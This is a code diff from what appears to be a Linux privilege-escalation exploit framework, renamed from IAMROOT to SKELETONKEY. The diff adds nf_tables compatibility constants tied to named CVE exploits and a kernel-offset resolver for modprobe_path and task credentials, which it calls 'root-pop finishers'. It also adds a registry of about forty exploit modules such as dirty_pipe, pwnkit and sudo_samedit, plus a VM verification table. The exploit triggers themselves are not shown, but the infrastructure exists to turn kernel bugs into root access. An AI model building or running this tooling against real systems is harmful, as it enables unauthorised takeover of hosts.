* kernel ROP gadgets).
|
||||
*
|
||||
* NULL = unmapped (treat as "x86_64+unverified-arm64" by default;
|
||||
* a future arm64-on-Vagrant sweep will fill these in). Surfaced
|
||||
* in --list (ARCH column) and --module-info. */
|
||||
const char *arch_support;
|
||||
};
|
||||
|
||||
#endif /* IAMROOT_MODULE_H */
|
||||
#endif /* SKELETONKEY_MODULE_H */
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
/*
|
||||
* SKELETONKEY — nf_tables uapi compat shims.
|
||||
*
|
||||
* Older distro kernel headers (e.g. Ubuntu 20.04's linux-libc-dev ships
|
||||
* the 5.4 uapi; Debian 11 ships 5.10) don't define every nft attribute
|
||||
* or chain flag the exploits use. The numeric values are stable kernel
|
||||
* ABI — the target kernel understands them at runtime regardless of
|
||||
* what was present in the build host's uapi headers. Conditionally
|
||||
* define them here so modules compile against any reasonable header set.
|
||||
*
|
||||
* Sources for the numeric values:
|
||||
* include/uapi/linux/netfilter/nf_tables.h in mainline at the kernel
|
||||
* version that introduced each enum.
|
||||
*
|
||||
* Include AFTER <linux/netfilter/nf_tables.h>.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_NFT_COMPAT_H
|
||||
#define SKELETONKEY_NFT_COMPAT_H
|
||||
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
|
||||
/* ── chain flags ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFT_CHAIN_HW_OFFLOAD: kernel 5.5 (commit be0b86e0594d). Needed by
|
||||
* nft_fwd_dup_cve_2022_25636. */
|
||||
#ifndef NFT_CHAIN_HW_OFFLOAD
|
||||
#define NFT_CHAIN_HW_OFFLOAD 0x2
|
||||
#endif
|
||||
|
||||
/* NFT_CHAIN_BINDING: kernel 5.9 (commit d164385ec572). */
|
||||
#ifndef NFT_CHAIN_BINDING
|
||||
#define NFT_CHAIN_BINDING 0x4
|
||||
#endif
|
||||
|
||||
/* ── chain attrs ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_CHAIN_FLAGS: kernel 5.7 (commit 65038428b2c6). Ubuntu 18.04's
|
||||
* 4.15-era uapi lacks it. Position 10 in the enum
|
||||
* (NFTA_CHAIN_TABLE=1..NFTA_CHAIN_USERDATA=9, NFTA_CHAIN_FLAGS=10). */
|
||||
#ifndef NFTA_CHAIN_FLAGS
|
||||
#define NFTA_CHAIN_FLAGS 10
|
||||
#endif
|
||||
|
||||
/* NFTA_CHAIN_ID: kernel 5.13 (commit 837830a4b439). */
|
||||
#ifndef NFTA_CHAIN_ID
|
||||
#define NFTA_CHAIN_ID 11
|
||||
#endif
|
||||
|
||||
/* ── verdict attrs ──────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_VERDICT_CHAIN_ID: kernel 5.14 (commit 4ed8eb6570a4). Needed by
|
||||
* nf_tables_cve_2024_1086. */
|
||||
#ifndef NFTA_VERDICT_CHAIN_ID
|
||||
#define NFTA_VERDICT_CHAIN_ID 3 /* CODE=1, CHAIN=2, CHAIN_ID=3 */
|
||||
#endif
|
||||
|
||||
/* ── set attrs ──────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_DESC_CONCAT: kernel 5.6 (commit 8aeff38e08d2 — concat sets). */
|
||||
#ifndef NFTA_SET_DESC_CONCAT
|
||||
#define NFTA_SET_DESC_CONCAT 2 /* DESC_SIZE=1, DESC_CONCAT=2 */
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPR: kernel 5.12 (commit 65038428b2c6 — anon expr on sets). */
|
||||
#ifndef NFTA_SET_EXPR
|
||||
#define NFTA_SET_EXPR 13
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_EXPRESSIONS
|
||||
#define NFTA_SET_EXPRESSIONS 14
|
||||
#endif
|
||||
|
||||
/* ── set-element attrs ──────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_ELEM_KEY_END: kernel 5.6 (commit 7b225d0b5c5b). */
|
||||
#ifndef NFTA_SET_ELEM_KEY_END
|
||||
#define NFTA_SET_ELEM_KEY_END 7
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_ELEM_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_ELEM_EXPRESSIONS
|
||||
#define NFTA_SET_ELEM_EXPRESSIONS 11
|
||||
#endif
|
||||
|
||||
/* ── data attrs (newer additions tend to be backported uneven) ──── */
|
||||
|
||||
/* Make sure NFTA_DATA_VERDICT and friends exist — present since 3.13;
|
||||
* here only as a tripwire if a very old header somehow lacks them. */
|
||||
#ifndef NFTA_DATA_VERDICT
|
||||
#define NFTA_DATA_VERDICT 2
|
||||
#endif
|
||||
#ifndef NFTA_DATA_VALUE
|
||||
#define NFTA_DATA_VALUE 1
|
||||
#endif
|
||||
|
||||
#endif /* SKELETONKEY_NFT_COMPAT_H */
|
||||
+35
-25
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel offset resolution
|
||||
* SKELETONKEY — kernel offset resolution
|
||||
*
|
||||
* See offsets.h for the four-source chain (env → kallsyms → System.map
|
||||
* → embedded table). This implementation is deliberately small and
|
||||
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
|
||||
#define DEFAULT_CRED_EFF_OFFSET 0x740
|
||||
#define DEFAULT_CRED_UID_OFFSET 0x4
|
||||
|
||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
|
||||
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
|
||||
{
|
||||
switch (src) {
|
||||
case OFFSETS_NONE: return "none";
|
||||
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
|
||||
/* ------------------------------------------------------------------
|
||||
* Source 1: environment variables
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_env(struct iamroot_kernel_offsets *o)
|
||||
static void apply_env(struct skeletonkey_kernel_offsets *o)
|
||||
{
|
||||
const char *v;
|
||||
uintptr_t a;
|
||||
|
||||
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
|
||||
if (!o->kbase) o->kbase = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||
if (!o->modprobe_path) {
|
||||
o->modprobe_path = a;
|
||||
o->source_modprobe = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||
if (!o->poweroff_cmd) o->poweroff_cmd = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
|
||||
if (!o->init_task) {
|
||||
o->init_task = a;
|
||||
o->source_init_task = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
|
||||
if (!o->init_cred) o->init_cred = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_real) {
|
||||
o->cred_offset_real = (uint32_t)a;
|
||||
o->source_cred = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
|
||||
}
|
||||
}
|
||||
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
|
||||
* the same "ADDR TYPE NAME" format).
|
||||
* ------------------------------------------------------------------ */
|
||||
static int parse_symfile(const char *path,
|
||||
struct iamroot_kernel_offsets *o,
|
||||
enum iamroot_offset_source tag)
|
||||
struct skeletonkey_kernel_offsets *o,
|
||||
enum skeletonkey_offset_source tag)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return 0;
|
||||
@@ -212,10 +212,20 @@ static int parse_symfile(const char *path,
|
||||
fclose(f);
|
||||
|
||||
/* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat
|
||||
* that as "couldn't read", not "actually zero". */
|
||||
* that as "couldn't read", not "actually zero". Undo ONLY the bogus
|
||||
* KALLSYMS source tags this pass may have set on still-zero fields —
|
||||
* do NOT clobber values a higher-priority source (env vars) already
|
||||
* provided, or the env override is silently wiped on any kptr_restrict
|
||||
* host (which is every default host). */
|
||||
if (!saw_nonzero) {
|
||||
o->modprobe_path = o->poweroff_cmd = o->init_task = o->init_cred = 0;
|
||||
o->source_modprobe = o->source_init_task = OFFSETS_NONE;
|
||||
if (o->source_modprobe == OFFSETS_FROM_KALLSYMS) {
|
||||
o->modprobe_path = 0;
|
||||
o->source_modprobe = OFFSETS_NONE;
|
||||
}
|
||||
if (o->source_init_task == OFFSETS_FROM_KALLSYMS) {
|
||||
o->init_task = 0;
|
||||
o->source_init_task = OFFSETS_NONE;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
return filled;
|
||||
@@ -225,7 +235,7 @@ static int parse_symfile(const char *path,
|
||||
* Source 4: embedded table — relative offsets, applied on top of kbase
|
||||
* if we already have one.
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_table(struct iamroot_kernel_offsets *o)
|
||||
static void apply_table(struct skeletonkey_kernel_offsets *o)
|
||||
{
|
||||
if (!o->kernel_release[0]) return;
|
||||
|
||||
@@ -268,7 +278,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
|
||||
/* ------------------------------------------------------------------
|
||||
* Top-level resolve()
|
||||
* ------------------------------------------------------------------ */
|
||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
||||
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
|
||||
{
|
||||
memset(out, 0, sizeof *out);
|
||||
|
||||
@@ -313,7 +323,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
||||
return critical;
|
||||
}
|
||||
|
||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase)
|
||||
{
|
||||
if (!leaked_kbase) return;
|
||||
@@ -322,18 +332,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
apply_table(off);
|
||||
}
|
||||
|
||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
|
||||
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
return off && off->modprobe_path != 0;
|
||||
}
|
||||
|
||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
|
||||
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
return off && off->init_task != 0 && off->cred_offset_real != 0
|
||||
&& off->cred_uid_offset != 0;
|
||||
}
|
||||
|
||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
||||
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
|
||||
off->kernel_release[0] ? off->kernel_release : "?",
|
||||
@@ -341,10 +351,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
||||
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
|
||||
(unsigned long)off->kbase,
|
||||
(unsigned long)off->modprobe_path,
|
||||
iamroot_offset_source_name(off->source_modprobe));
|
||||
skeletonkey_offset_source_name(off->source_modprobe));
|
||||
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
|
||||
(unsigned long)off->init_task,
|
||||
iamroot_offset_source_name(off->source_init_task),
|
||||
skeletonkey_offset_source_name(off->source_init_task),
|
||||
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
|
||||
iamroot_offset_source_name(off->source_cred));
|
||||
skeletonkey_offset_source_name(off->source_cred));
|
||||
}
|
||||
|
||||
+17
-17
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel offset resolution
|
||||
* SKELETONKEY — kernel offset resolution
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
|
||||
* (heap-OOB write, UAF, etc.). Converting that to root requires
|
||||
@@ -10,7 +10,7 @@
|
||||
* Those addresses vary per kernel build. This file resolves them at
|
||||
* runtime via a four-source chain:
|
||||
*
|
||||
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
|
||||
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
|
||||
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
|
||||
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
|
||||
* 4. Embedded table keyed by `uname -r` glob (entries are
|
||||
@@ -22,14 +22,14 @@
|
||||
* pointing the operator at the manual workflow.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_OFFSETS_H
|
||||
#define IAMROOT_OFFSETS_H
|
||||
#ifndef SKELETONKEY_OFFSETS_H
|
||||
#define SKELETONKEY_OFFSETS_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
enum iamroot_offset_source {
|
||||
enum skeletonkey_offset_source {
|
||||
OFFSETS_NONE = 0,
|
||||
OFFSETS_FROM_ENV = 1,
|
||||
OFFSETS_FROM_KALLSYMS = 2,
|
||||
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
|
||||
OFFSETS_FROM_TABLE = 4,
|
||||
};
|
||||
|
||||
struct iamroot_kernel_offsets {
|
||||
struct skeletonkey_kernel_offsets {
|
||||
/* Host fingerprint */
|
||||
char kernel_release[128]; /* uname -r */
|
||||
char distro[64]; /* parsed from /etc/os-release ID= */
|
||||
|
||||
/* Kernel base — needed when offsets are relative-to-_text.
|
||||
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||
* Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
|
||||
uintptr_t kbase;
|
||||
|
||||
/* Symbol virtual addresses (final, post-KASLR-resolution). */
|
||||
@@ -58,9 +58,9 @@ struct iamroot_kernel_offsets {
|
||||
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
|
||||
|
||||
/* Where did each field come from. */
|
||||
enum iamroot_offset_source source_modprobe;
|
||||
enum iamroot_offset_source source_init_task;
|
||||
enum iamroot_offset_source source_cred;
|
||||
enum skeletonkey_offset_source source_modprobe;
|
||||
enum skeletonkey_offset_source source_init_task;
|
||||
enum skeletonkey_offset_source source_cred;
|
||||
};
|
||||
|
||||
/* Best-effort resolution. Returns the number of critical fields
|
||||
@@ -69,25 +69,25 @@ struct iamroot_kernel_offsets {
|
||||
*
|
||||
* Resolution chain is tried in order; later sources do NOT overwrite
|
||||
* a field already set by an earlier source. */
|
||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
|
||||
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
|
||||
|
||||
/* Apply a runtime-leaked kbase to any embedded-table entries that
|
||||
* shipped as relative-to-_text offsets. Idempotent. */
|
||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase);
|
||||
|
||||
/* Returns true if modprobe_path can be written (the simplest root-pop
|
||||
* finisher). */
|
||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
|
||||
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* Returns true if init_task + cred offsets are known (the cred-uid
|
||||
* finisher). */
|
||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
|
||||
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* For diagnostic logging — pretty-print what we resolved to stderr. */
|
||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
|
||||
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
|
||||
|
||||
/* Helper: return the name of the source enum. */
|
||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
|
||||
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
|
||||
|
||||
#endif /* IAMROOT_OFFSETS_H */
|
||||
#endif /* SKELETONKEY_OFFSETS_H */
|
||||
|
||||
+14
-9
@@ -1,8 +1,13 @@
|
||||
/*
|
||||
* IAMROOT — module registry implementation
|
||||
* SKELETONKEY — module registry implementation
|
||||
*
|
||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||
* than a few dozen modules, so this is fine.
|
||||
*
|
||||
* The canonical "register every family" enumeration lives in
|
||||
* registry_all.c — kept separate so this file links into the
|
||||
* standalone kernel_range unit-test binary without pulling in every
|
||||
* module's symbol.
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
@@ -14,22 +19,22 @@
|
||||
|
||||
#define REGISTRY_CHUNK 16
|
||||
|
||||
static const struct iamroot_module **g_modules = NULL;
|
||||
static const struct skeletonkey_module **g_modules = NULL;
|
||||
static size_t g_count = 0;
|
||||
static size_t g_cap = 0;
|
||||
|
||||
void iamroot_register(const struct iamroot_module *m)
|
||||
void skeletonkey_register(const struct skeletonkey_module *m)
|
||||
{
|
||||
if (m == NULL || m->name == NULL) {
|
||||
fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
|
||||
fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
|
||||
return;
|
||||
}
|
||||
if (g_count == g_cap) {
|
||||
size_t new_cap = g_cap + REGISTRY_CHUNK;
|
||||
const struct iamroot_module **n =
|
||||
const struct skeletonkey_module **n =
|
||||
realloc((void *)g_modules, new_cap * sizeof(*g_modules));
|
||||
if (n == NULL) {
|
||||
fprintf(stderr, "[!] iamroot_register: OOM\n");
|
||||
fprintf(stderr, "[!] skeletonkey_register: OOM\n");
|
||||
return;
|
||||
}
|
||||
g_modules = n;
|
||||
@@ -38,18 +43,18 @@ void iamroot_register(const struct iamroot_module *m)
|
||||
g_modules[g_count++] = m;
|
||||
}
|
||||
|
||||
size_t iamroot_module_count(void)
|
||||
size_t skeletonkey_module_count(void)
|
||||
{
|
||||
return g_count;
|
||||
}
|
||||
|
||||
const struct iamroot_module *iamroot_module_at(size_t i)
|
||||
const struct skeletonkey_module *skeletonkey_module_at(size_t i)
|
||||
{
|
||||
if (i >= g_count) return NULL;
|
||||
return g_modules[i];
|
||||
}
|
||||
|
||||
const struct iamroot_module *iamroot_module_find(const char *name)
|
||||
const struct skeletonkey_module *skeletonkey_module_find(const char *name)
|
||||
{
|
||||
if (name == NULL) return NULL;
|
||||
for (size_t i = 0; i < g_count; i++) {
|
||||
|
||||
+59
-30
@@ -1,44 +1,73 @@
|
||||
/*
|
||||
* IAMROOT — module registry
|
||||
* SKELETONKEY — module registry
|
||||
*
|
||||
* Global list of registered modules. Each family contributes via
|
||||
* register_<family>_modules() called from iamroot main() at startup.
|
||||
* register_<family>_modules() called from skeletonkey main() at startup.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_REGISTRY_H
|
||||
#define IAMROOT_REGISTRY_H
|
||||
#ifndef SKELETONKEY_REGISTRY_H
|
||||
#define SKELETONKEY_REGISTRY_H
|
||||
|
||||
#include "module.h"
|
||||
|
||||
void iamroot_register(const struct iamroot_module *m);
|
||||
void skeletonkey_register(const struct skeletonkey_module *m);
|
||||
|
||||
size_t iamroot_module_count(void);
|
||||
const struct iamroot_module *iamroot_module_at(size_t i);
|
||||
size_t skeletonkey_module_count(void);
|
||||
const struct skeletonkey_module *skeletonkey_module_at(size_t i);
|
||||
|
||||
/* Find a module by name. Returns NULL if not found. */
|
||||
const struct iamroot_module *iamroot_module_find(const char *name);
|
||||
const struct skeletonkey_module *skeletonkey_module_find(const char *name);
|
||||
|
||||
/* Each module family declares one of these in its public header. The
|
||||
* top-level iamroot main() calls them in order at startup. */
|
||||
void iamroot_register_copy_fail_family(void);
|
||||
void iamroot_register_dirty_pipe(void);
|
||||
void iamroot_register_entrybleed(void);
|
||||
void iamroot_register_pwnkit(void);
|
||||
void iamroot_register_nf_tables(void);
|
||||
void iamroot_register_overlayfs(void);
|
||||
void iamroot_register_cls_route4(void);
|
||||
void iamroot_register_dirty_cow(void);
|
||||
void iamroot_register_ptrace_traceme(void);
|
||||
void iamroot_register_netfilter_xtcompat(void);
|
||||
void iamroot_register_af_packet(void);
|
||||
void iamroot_register_fuse_legacy(void);
|
||||
void iamroot_register_stackrot(void);
|
||||
void iamroot_register_af_packet2(void);
|
||||
void iamroot_register_cgroup_release_agent(void);
|
||||
void iamroot_register_overlayfs_setuid(void);
|
||||
void iamroot_register_nft_set_uaf(void);
|
||||
void iamroot_register_af_unix_gc(void);
|
||||
void iamroot_register_nft_fwd_dup(void);
|
||||
void iamroot_register_nft_payload(void);
|
||||
* top-level skeletonkey main() calls them in order at startup. */
|
||||
void skeletonkey_register_copy_fail_family(void);
|
||||
void skeletonkey_register_dirty_pipe(void);
|
||||
void skeletonkey_register_entrybleed(void);
|
||||
void skeletonkey_register_pwnkit(void);
|
||||
void skeletonkey_register_nf_tables(void);
|
||||
void skeletonkey_register_overlayfs(void);
|
||||
void skeletonkey_register_cls_route4(void);
|
||||
void skeletonkey_register_dirty_cow(void);
|
||||
void skeletonkey_register_ptrace_traceme(void);
|
||||
void skeletonkey_register_netfilter_xtcompat(void);
|
||||
void skeletonkey_register_af_packet(void);
|
||||
void skeletonkey_register_fuse_legacy(void);
|
||||
void skeletonkey_register_stackrot(void);
|
||||
void skeletonkey_register_af_packet2(void);
|
||||
void skeletonkey_register_cgroup_release_agent(void);
|
||||
void skeletonkey_register_overlayfs_setuid(void);
|
||||
void skeletonkey_register_nft_set_uaf(void);
|
||||
void skeletonkey_register_af_unix_gc(void);
|
||||
void skeletonkey_register_nft_fwd_dup(void);
|
||||
void skeletonkey_register_nft_payload(void);
|
||||
void skeletonkey_register_sudo_samedit(void);
|
||||
void skeletonkey_register_sequoia(void);
|
||||
void skeletonkey_register_sudoedit_editor(void);
|
||||
void skeletonkey_register_vmwgfx(void);
|
||||
void skeletonkey_register_dirtydecrypt(void);
|
||||
void skeletonkey_register_fragnesia(void);
|
||||
void skeletonkey_register_pack2theroot(void);
|
||||
void skeletonkey_register_sudo_chwoot(void);
|
||||
void skeletonkey_register_udisks_libblockdev(void);
|
||||
void skeletonkey_register_pintheft(void);
|
||||
void skeletonkey_register_mutagen_astronomy(void);
|
||||
void skeletonkey_register_sudo_runas_neg1(void);
|
||||
void skeletonkey_register_tioscpgrp(void);
|
||||
void skeletonkey_register_vsock_uaf(void);
|
||||
void skeletonkey_register_nft_pipapo(void);
|
||||
void skeletonkey_register_ptrace_pidfd(void);
|
||||
void skeletonkey_register_sudo_host(void);
|
||||
void skeletonkey_register_cifswitch(void);
|
||||
void skeletonkey_register_nft_catchall(void);
|
||||
void skeletonkey_register_bad_epoll(void);
|
||||
void skeletonkey_register_ghostlock(void);
|
||||
void skeletonkey_register_refluxfs(void);
|
||||
|
||||
#endif /* IAMROOT_REGISTRY_H */
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
* in sync — adding a new module is one register_* declaration here
|
||||
* and one call inside skeletonkey_register_all_modules() in
|
||||
* core/registry.c (the test harness picks it up automatically). */
|
||||
void skeletonkey_register_all_modules(void);
|
||||
|
||||
#endif /* SKELETONKEY_REGISTRY_H */
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* SKELETONKEY — canonical "register every module family" enumeration.
|
||||
*
|
||||
* Kept in its own translation unit so registry.c stays standalone:
|
||||
* the kernel_range unit-test binary links registry.c (for the basic
|
||||
* register / count / find API) without pulling in every module's
|
||||
* symbol. The main binary and detect-integration test link this
|
||||
* file too and get the full lineup.
|
||||
*
|
||||
* Adding a new module is one new register_<family>() declaration in
|
||||
* registry.h plus one call below — the integration test picks it up
|
||||
* via skeletonkey_register_all_modules() in its main().
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
void skeletonkey_register_all_modules(void)
|
||||
{
|
||||
skeletonkey_register_copy_fail_family();
|
||||
skeletonkey_register_dirty_pipe();
|
||||
skeletonkey_register_entrybleed();
|
||||
skeletonkey_register_pwnkit();
|
||||
skeletonkey_register_nf_tables();
|
||||
skeletonkey_register_overlayfs();
|
||||
skeletonkey_register_cls_route4();
|
||||
skeletonkey_register_dirty_cow();
|
||||
skeletonkey_register_ptrace_traceme();
|
||||
skeletonkey_register_netfilter_xtcompat();
|
||||
skeletonkey_register_af_packet();
|
||||
skeletonkey_register_fuse_legacy();
|
||||
skeletonkey_register_stackrot();
|
||||
skeletonkey_register_af_packet2();
|
||||
skeletonkey_register_cgroup_release_agent();
|
||||
skeletonkey_register_overlayfs_setuid();
|
||||
skeletonkey_register_nft_set_uaf();
|
||||
skeletonkey_register_af_unix_gc();
|
||||
skeletonkey_register_nft_fwd_dup();
|
||||
skeletonkey_register_nft_payload();
|
||||
skeletonkey_register_sudo_samedit();
|
||||
skeletonkey_register_sequoia();
|
||||
skeletonkey_register_sudoedit_editor();
|
||||
skeletonkey_register_vmwgfx();
|
||||
skeletonkey_register_dirtydecrypt();
|
||||
skeletonkey_register_fragnesia();
|
||||
skeletonkey_register_pack2theroot();
|
||||
skeletonkey_register_sudo_chwoot();
|
||||
skeletonkey_register_udisks_libblockdev();
|
||||
skeletonkey_register_pintheft();
|
||||
skeletonkey_register_mutagen_astronomy();
|
||||
skeletonkey_register_sudo_runas_neg1();
|
||||
skeletonkey_register_tioscpgrp();
|
||||
skeletonkey_register_vsock_uaf();
|
||||
skeletonkey_register_nft_pipapo();
|
||||
skeletonkey_register_ptrace_pidfd();
|
||||
skeletonkey_register_sudo_host();
|
||||
skeletonkey_register_cifswitch();
|
||||
skeletonkey_register_nft_catchall();
|
||||
skeletonkey_register_bad_epoll();
|
||||
skeletonkey_register_ghostlock();
|
||||
skeletonkey_register_refluxfs();
|
||||
}
|
||||
@@ -0,0 +1,359 @@
|
||||
/*
|
||||
* SKELETONKEY — verification records table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-verifications.py from
|
||||
* docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.
|
||||
*
|
||||
* Source: tools/verify-vm/verify.sh appends one JSON record per
|
||||
* run; this generator dedupes to (module, vm_box, kernel, expect)
|
||||
* and keeps the latest by verified_at.
|
||||
*/
|
||||
|
||||
#include "verifications.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
const struct verification_record verifications[] = {
|
||||
{
|
||||
.module = "af_packet",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_packet2",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_unix_gc",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cgroup_release_agent",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cls_route4",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
